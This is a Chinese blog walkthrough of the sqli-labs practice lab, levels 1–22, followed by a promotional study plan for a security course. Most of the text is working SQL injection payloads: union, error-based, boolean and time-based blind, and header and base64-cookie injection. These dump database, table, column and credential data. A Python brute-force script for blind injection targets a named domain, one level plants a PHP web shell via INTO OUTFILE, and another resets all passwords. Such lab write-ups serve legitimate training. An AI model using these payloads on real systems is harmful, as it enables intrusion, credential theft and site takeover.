目录
Less-1 联合注入
Less-2
Less-3
Less-4
Less-5 报错注入/布尔盲注/时间盲注
Less-6 报错注入/布尔盲注/时间盲注
Less-7 文件导出
Less-8 布尔盲注/时间盲注
Less-9 时间盲注
Less-10 时间盲注
Less-11 post注入
Less-12 post注入
Less-13 post盲注
Less-14 post盲注
Less-15 时间盲注
Less-16 时间盲注
Less-17 修改密码
Less-18 user-agent头注入
Less-19 referer头注入
Less-20 cookie头注入
Less-21 cookie头注入+base64
Less-22 cookie头注入+base64
Less-1 联合注入
当输入?id=1时,显示对应的Login name与Password
①推测闭合方式
输入\,后面是’,应该是单引号闭合
?id=1’报错
?id=1’ --+不报错
说明确实是单引号闭合
②手工查询有多少栏目
?id=1’ order by 2–+
发现3的时候可以,4的时候不可以,说明有3列
③显示报错位
?id=-1’ union select 1,2,3 --+
当union前面的语句为false,才会执行后面语句
发现哪些位置是可以显示的
④爆库名
?id=-1’ union select 1,database(),3 --+
security
⑤爆表名
?id=-1’ union select 1,table_name,3 from information_schema.tables where
table_schema=‘security’ limit 3,1 --+
0,1是从第0个开始取,每次取一个
尝试0,1 1,1 2,1 3,1 发现到4,1不行
或者
?id=-1’ union select 1,group_concat(table_name),3 from
information_schema.tables where table_schema=‘security’ --+
一次性爆出表名:emails,referers,uagents,users
⑥爆列名
?id=-1’ union select 1,group_concat(column_name),3 from
information_schema.columns where table_schema=‘security’ and
table_name=‘users’ --+
爆出列名:id,username,password
⑦爆数据
?id=-1’ union select 1,group_concat(username),group_concat(password) from
users --+
或者:?id=-1’ union select 1,group_concat(username,password),3 from users --+
或者:为了格式好看
?id=-1’ union select
1,group_concat(username,0x3a,password,0x3C,0x68,0x72,0x2F,0x3E),3 from users
–+
补充:Ascii码的一些转换:ASCII_百度百科
Less-2
同Less-1,没有闭合方式
Less-3
同Less-1,')闭合
Less-4
同Less-1,")闭合
Less-5 报错注入/布尔盲注/时间盲注
这里讲报错注入的方法(报错注入见Less-5,布尔盲注见Less-6,时间盲注见Less-8)
发现它并没有显示位
①判断闭合方式
?id=1\
发现是’闭合
②判断注入点
?id=1’ and 1=1 --+
发现页面无回显
查询语句正确时页面会打印You are in…,错误则不显示
③爆库名
?id=1’ and updatexml(1,concat(0x7e,(database()),0x7e),1) --+
库名:security
②爆表名
?id=1’ and updatexml(1,concat(0x7e,(select table_name from
information_schema.tables where table_schema=‘security’ limit 3,1),0x7e),1)
–+
?id=1’ and updatexml(1,concat(0x7e,(select group_concat(table_name) from
information_schema.tables where table_schema=‘security’),0x7e),1) --+
表名:emails,referers,uagents,users
③爆列名
?id=1’ and updatexml(1,concat(0x7e,(select group_concat(column_name) from
information_schema.columns where table_schema=‘security’ and
table_name=‘users’),0x7e),1) --+
列名:id,username,password
④爆数据
?id=1’ and updatexml(1,concat(0x7e,(select group_concat(username,password)from
users),0x7e),1) --+
Less-6 报错注入/布尔盲注/时间盲注
布尔型注入:
这个地方进行了数据库查询,但是没有显示位,报错不会出现信息
错误和正确页面有区别
这里讲布尔盲注的方法(报错注入见Less-5,布尔盲注见Less-6,时间盲注见Less-8)
无回显的
①判断闭合方式
?id=1\
发现是"闭合
?id=1" --+成功
②判断数据库长度
?id=1" and length(database())
所以库名长度=8
②判断数据库名中字母
select substr(database(),1,1);
截取数据库库名,从第1个字开始截取,每次截取1个
select ascii(substr(database(),1,1));
截取出来的字,使用ascii码编码
select ascii(substr(database(),1,1)) < 100;
所以
?id=1" and ascii(substr(database(),1,1))>114 --+
?id=1" and (select ascii(substr(database(),1,1))) >114 --+也行
所以ascii码为115,第一位字母为s
用脚本跑
import requests as req
url = 'http://www.wangehacker.cn/sqli-labs/Less-6/?id=1'
res = ''
select = "select database()"
for i in range(1, 100):
for ascii in range(32, 128):
id = '1" and ascii(substr(({}),{},1))={}%23'.format(select, i, ascii)
r = req.get(url+id)
print(url+id)
if "You are in" in r.text:
res += chr(ascii)
print(res)
break
if ascii == 127:
print('{}'.format(res))
exit(0)
得到库名:security
③走流程
只要修改脚本中的select语句即可
select group_concat(table_name) from information_schema.tables where
table_schema=‘security’
select group_concat(column_name) from information_schema.columns where
table_schema=‘security’
select group_concat(username,password)from users
Less-7 文件导出
文件导出的方式进行注入
https://www.cnblogs.com/c1047509362/p/12356354.html
①判断闭合
手工测试?id=1’)) and 1=1–+成功
所以是’))闭合
②猜列数
?id=1’)) order by 3–+ 列数为3
③导入一句话木马
?id=-1’)) union select 1,2,‘’ into outfile “C:\ruanjian\phpstudy_pro\WWW\sqli-
labs-master\Less-7\test.php” --+
虽然提示报错,但是我们发现已经存在文件test.php了
④连菜刀
中国菜刀进行连接,输入我们写的文件路径,密码是wlw
成功进入
Less-8 布尔盲注/时间盲注
'闭合
这里讲时间盲注(报错注入见Less-5,布尔盲注见Less-6,时间盲注见Less-8)
①判断是否有延时
id=1’ and sleep(5) --+
发现确实有延时,可以用时间盲注
② 爆库长
?id=1’ and if(length(database())=8,sleep(5),null)–+
③爆库名
从左边第一个字母开始,判断库名第一个字母是不是s
?id=1’ and if(left(database(),1)=‘s’,sleep(5),null)–+
?id=1’ and if(left(database(),2)=‘se’,sleep(5),null)–+
…
security
或者: ?id=1’ and if((select (substr(database(),1,1))=“s”) ,sleep(5), null)–+
③爆表名
?id=1’ and if(left((select table_name from information_schema.tables where
table_schema=database() limit 0,1),1)=‘e’ ,sleep(5),null)–+
?id=1’ and if(left((select table_name from information_schema.tables where
table_schema=database() limit 0,1),2)=‘em’ ,sleep(5),null)–+
?id=1’ and if(left((select table_name from information_schema.tables where
table_schema=database() limit 0,1),3)=‘ema’ ,sleep(5),null)–+
…
database() 如果不想写,可以写security的hex值
表名:emails
或者:
id=1’ and if((select substr(table_name,1,1) from information_schema.tables
where table_schema=database() limit 0,1)=‘e’,sleep(5),null) --+
④爆列名
?id=1’ and if(left((select column_name from information_schema.columns where
table_name=‘users’ limit ,1),)=‘password’ ,sleep(5),null)–+
其中*需要逐个尝试
…
Less-9 时间盲注
'闭合
见Less-8
经过多次尝试,返回值均为You are in …
没有显示位,错误也不会告诉你
所以只能时间盲注
Less-10 时间盲注
同Less-9,"闭合
Less-11 post注入
前十关使用的是get请求,参数都体现在url上面
而从十一关开始是post请求,参数是在表单里面
我们可以直接在输入框进行注入或者bp抓包
①BP抓包,send to repater
②判断闭合方式
admin’报错,admin’ #不报错,所以是’闭合
③判断回显位置
’ union select 1,2 #
④爆库名
’ union select 1,database() #
⑤爆表名
’ union select 1,group_concat(table_name) from information_schema.tables where
table_schema=database() #
表名:emails,referers,uagents,users
⑤爆列名
’ union select 1,group_concat(column_name) from information_schema.columns
where table_schema=‘security’ and table_name=‘users’ #
列名:id,username,password
⑥爆数据
’ union select 1,group_concat(username,password) from users #
Less-12 post注入
")闭合 有回显
同Less-11
Less-13 post盲注
')闭合 无回显
①猜闭合方式
admin’
报错near ‘111’) LIMIT 0,1’ at line 1
说明是’)闭合
②
输入’) # 或’) or 1=1 #
却发现,页面没有回显,考虑使用报错注入、布尔盲注或者时间盲注
这里讲报错盲注,(布尔盲注不知道为什么不行…时间盲注见Less-15)
sqli-labs第十三和十四关(post请求-报错盲注)_sql注入第13关_mmmmcq的博客-
CSDN博客
③爆字段数
1’) order by 3#报错
1’) order by 2#无回显
所以字段数为2
④爆库名
1’) union select 1,updatexml(1,concat(0x7e,database(),0x7e),1) #
库名:security
⑤爆表名
1’) union select 1,updatexml(1,concat(0x7e,(select group_concat(table_name)
from information_schema.tables where table_schema = ‘security’),0x7e),1)#
表名:emails,referers,uagents,users
⑥爆列名
1’) union select 1,updatexml(1,concat(0x7e,(select group_concat(column_name)
from information_schema.columns where table_schema = ‘security’ and
table_name=‘users’),0x7e),1)#
列名:id,username,password
⑦爆数据
1’) union select 1,updatexml(1,concat(0x7e,(select
group_concat(username,password) from users),0x7e),1)#
Less-14 post盲注
同Less-13
admin"报错,admin"#无回显
所以是"闭合
布尔盲注好像不能用
可以用时间盲注见Less-15
Less-15 时间盲注
'闭合
①测试
用admin’、admin" 、admin’ and 1=2# 进行测试,发现都不返回错误信息
②判断是否有延时
admin’ and sleep(5) #
发现确实有延时,可以用时间盲注
③爆库长
admin’ and if(length(database())=8,sleep(5),null) #
④爆库名
从左边第一个字母开始,判断库名第一个字母是不是s
admin’ and if(left(database(),1)=‘s’,sleep(5),null) #
admin’ and if(left(database(),2)=‘se’,sleep(5),null) #
…
security
或者admin’ and if(ascii(substr(database(),0,1))=115,1,sleep(5))#
或者admin’ and if((select (substr(database(),1,1))=“s”) ,sleep(5), null)#
⑤爆表名
admin’ and if(left((select table_name from information_schema.tables where
table_schema=database() limit 0,1),1)=‘e’ ,sleep(5),null)#
admin’ and if(left((select table_name from information_schema.tables where
table_schema=database() limit 0,1),2)=‘em’ ,sleep(5),null)#
admin’ and if(left((select table_name from information_schema.tables where
table_schema=database() limit 0,1),3)=‘ema’ ,sleep(5),null)#
…
Less-16 时间盲注
同Less-15,")闭合
Less-17 修改密码
(本题危害比较大)
update users set password=‘ p ′ w h e r e u s e r n a m e = ′ p' where username=' p′whereusername=′u’
update users set password=‘’ or 1=1 #’ where username=‘admin’
admin
’ or 1=1 #
会把数据库所有密码都改为1
update users set password=1
前十六道题都很简单没有什么过滤的方法,直到这关开始有绕过
https://www.cnblogs.com/unknown27/articles/16823537.html
①爆库名
admin
1’ and updatexml(1,concat(0x7e,database(),0x7e),1) #
库名:security
②爆表名
1’ and updatexml(1,concat(0x7e,(select group_concat(table_name) from
information_schema.tables where table_schema = ‘security’),0x7e),1)#
表名:emails,referers,uagents,users
③爆列名
1’ and updatexml(1,concat(0x7e,(select group_concat(column_name) from
information_schema.columns where table_schema = ‘security’ and
table_name=‘users’),0x7e),1)#
列名:id,username,password
④爆数据
1’ and updatexml(1,concat(0x7e,(select group_concat(username,password) from
users),0x7e),1)#
Less-18 user-agent头注入
user-agent
insert into ‘security’.‘某个表’(uagent,ipadd,username)
values(‘浏览器信息’,‘ip地址’,‘用户名’)
i n s e r t = " i n s e r t i n t o ′ s e c u r i t y ′ . ′ u a g e n t s ′ ( ′ u a g e n t ′ , ′ i p a d d r e s s ′ , ′ u s e r n a m e ′ ) v a l u e s ( ′ insert="insert into 'security'.'uagents' ('uagent', 'ip_address', 'username') values (' insert="insertinto′security′.′uagents′(′uagent′,′ipaddress′,′username′)values(′uagent’, ‘$IP’, $uname)";
输入正确的用户名密码admin admin,会返回代理信息user-agent
所以uagents的数据是会写入数据库再输出的,这是我们得以成功注入的关键
(用户名密码正确才能把头注入写入后台数据库,所以前提是登录进去了)
抓包修改请求包的User Agent
关键是闭合前后的语句
sqli-labs(18-23关)_sql18关_cyphersec的博客-
CSDN博客
①判断闭合方式
在username和password处尝试注入均被转义,无法注入
在user-agent后测试发现
'报错
’ and ‘1’='1正确
所以是’闭合
②爆库名
’ and updatexml(1,concat(0x7e,(select database()),0x7e),1) and ‘1’='1
’ and extractvalue(1,concat(0x7e,(select database()),0x7e)) and ‘1’='1
库名:security
③爆表名
insert into ‘security’.‘某个表’(uagent,ipadd,username) values(‘’ and
extractvalue(1,concat(0x7e,(select database()),0x7e)) and
‘1’=‘1’,‘ip地址’,‘用户名’)
’ and updatexml(1,concat(0x7e,(select group_concat(table_name) from
information_schema.tables where table_schema =database()),0x7e),1) and ‘1’='1
'and extractvalue(1,concat(0x7e,(select group_concat(table_name) from
information_schema.tables where table_schema=database()),0x7e)) and ’
表名:emails,referers,uagents,users
④爆列名
'and extractvalue(1,concat(0x7e,(select group_concat(column_name) from
information_schema.columns where table_name=‘users’ and
table_schema=database()),0x7e)) and ’
列名:id,username,password
⑤爆数据
’ and updatexml(1,concat(0x7e,(select group_concat(username,password) from
users),0x7e),1) and ‘1’='1
Less-19 referer头注入
来路流量(你是从哪个地方来的)
输入正确的用户名密码admin admin,会返回referer
走流程
’ and extractvalue(1,concat(0x7e,(select database()))) and ‘1’='1
'and extractvalue(1,concat(0x7e,(select group_concat(table_name) from
information_schema.tables where table_schema=database()),0x7e)) and ’
'and extractvalue(1,concat(0x7e,(select group_concat(column_name) from
information_schema.columns where table_name=‘users’ and
table_schema=database()),0x7e)) and ’
‘and extractvalue(1,concat(0x7e,(select group_concat(username,password)from
users),0x7e)) and’
Less-20 cookie头注入
输入正确的用户名密码admin admin,会返回cookie
①判断闭合方式
admin’报错
admin’ and ‘1’='1正确
为’闭合
②爆库名
’ and updatexml(1,concat(0x7e,(select database()),0x7e),1) and ‘1’='1
’ and extractvalue(1,concat(0x7e,(select database()),0x7e)) # 也可以
走流程
’ and updatexml(1,concat(0x7e,(select group_concat(table_name) from
information_schema.tables where table_schema=database()),0x7e),1) #
’ and updatexml(1,concat(0x7e,(select group_concat(column_name) from
information_schema.columns where table_schema=database() and
table_name=‘users’),0x7e),1) #
’ and updatexml(1,concat(0x7e,(select group_concat(username,password) from
users),0x7e),1) #
Less-21 cookie头注入+base64
还是cookie头注入
但是抓包都发现cookie后的内容被进行base64编码了
因此输入攻击语句之后,转化为base64encode即可
走流程
①爆库名
admin’ and updatexml(1,concat(0x7e,(select database()),0x7e),1) and ‘1’='1
编码后
YWRtaW4nIGFuZCB1cGRhdGV4bWwoMSxjb25jYXQoMHg3ZSwoc2VsZWN0IGRhdGFiYXNlKCkpLDB4N2UpLDEpIGFuZCAnMSc9JzE=
admin’ and updatexml(1,concat(0x7e,(select group_concat(table_name) from
information_schema.tables where table_schema=database()),0x7e),1) and ‘1’='1
admin’ and updatexml(1,concat(0x7e,(select group_concat(column_name) from
information_schema.columns where table_schema=database() and
table_name=‘users’),0x7e),1) and ‘1’='1
admin’ and updatexml(1,concat(0x7e,(select group_concat(username,password)
from users),0x7e),1) and ‘1’='1
Less-22 cookie头注入+base64
同Less-21,"闭合
接下来我将给各位同学划分一张学习计划表!
学习计划
那么问题又来了,作为萌新小白,我应该先学什么,再学什么?
既然你都问的这么直白了,我就告诉你,零基础应该从什么开始学起:
阶段一:初级网络安全工程师
接下来我将给大家安排一个为期1个月的网络安全初级计划,当你学完后,你基本可以从事一份网络安全相关的工作,比如渗透测试、Web渗透、安全服务、安全分析等岗位;其中,如果你等保模块学的好,还可以从事等保工程师。
综合薪资区间6k~15k
1、网络安全理论知识(2天)
①了解行业相关背景,前景,确定发展方向。
②学习网络安全相关法律法规。
③网络安全运营的概念。
④等保简介、等保规定、流程和规范。(非常重要)
2、渗透测试基础(1周)
①渗透测试的流程、分类、标准
②信息收集技术:主动/被动信息搜集、Nmap工具、Google Hacking
③漏洞扫描、漏洞利用、原理,利用方法、工具(MSF)、绕过IDS和反病毒侦察
④主机攻防演练:MS17-010、MS08-067、MS10-046、MS12-20等
3、操作系统基础(1周)
①Windows系统常见功能和命令
②Kali Linux系统常见功能和命令
③操作系统安全(系统入侵排查/系统加固基础)
4、计算机网络基础(1周)
①计算机网络基础、协议和架构
②网络通信原理、OSI模型、数据转发流程
③常见协议解析(HTTP、TCP/IP、ARP等)
④网络攻击技术与网络安全防御技术
⑤Web漏洞原理与防御:主动/被动攻击、DDOS攻击、CVE漏洞复现
5、数据库基础操作(2天)
①数据库基础
②SQL语言基础
③数据库安全加固
6、Web渗透(1周)
①HTML、CSS和JavaScript简介
②OWASP Top10
③Web漏洞扫描工具
④Web渗透工具:Nmap、BurpSuite、SQLMap、其他(菜刀、漏扫等)
那么,到此为止,已经耗时1个月左右。你已经成功成为了一名“脚本小子”。那么你还想接着往下探索吗?
阶段二:中级or高级网络安全工程师(看自己能力)
综合薪资区间15k~30k
7、脚本编程学习(4周)
在网络安全领域。是否具备编程能力是“脚本小子”和真正网络安全工程师的本质区别。在实际的渗透测试过程中,面对复杂多变的网络环境,当常用工具不能满足实际需求的时候,往往需要对现有工具进行扩展,或者编写符合我们要求的工具、自动化脚本,这个时候就需要具备一定的编程能力。在分秒必争的CTF竞赛中,想要高效地使用自制的脚本工具来实现各种目的,更是需要拥有编程能力。
零基础入门的同学,我建议选择脚本语言Python/PHP/Go/Java中的一种,对常用库进行编程学习
搭建开发环境和选择IDE,PHP环境推荐Wamp和XAMPP,IDE强烈推荐Sublime;
Python编程学习,学习内容包含:语法、正则、文件、 网络、多线程等常用库,推荐《Python核心编程》,没必要看完
用Python编写漏洞的exp,然后写一个简单的网络爬虫
PHP基本语法学习并书写一个简单的博客系统
熟悉MVC架构,并试着学习一个PHP框架或者Python框架 (可选)
了解Bootstrap的布局或者CSS。
阶段三:顶级网络安全工程师
如果你对网络安全入门感兴趣,那么你需要的话可以点击这里👉网络安全重磅福利:入门&进阶全套282G学习资源包免费分享!
学习资料分享
当然,只给予计划不给予学习资料的行为无异于耍流氓,这里给大家整理了一份【282G】的网络安全工程师从入门到精通的学习资料包,可点击下方二维码链接领取哦。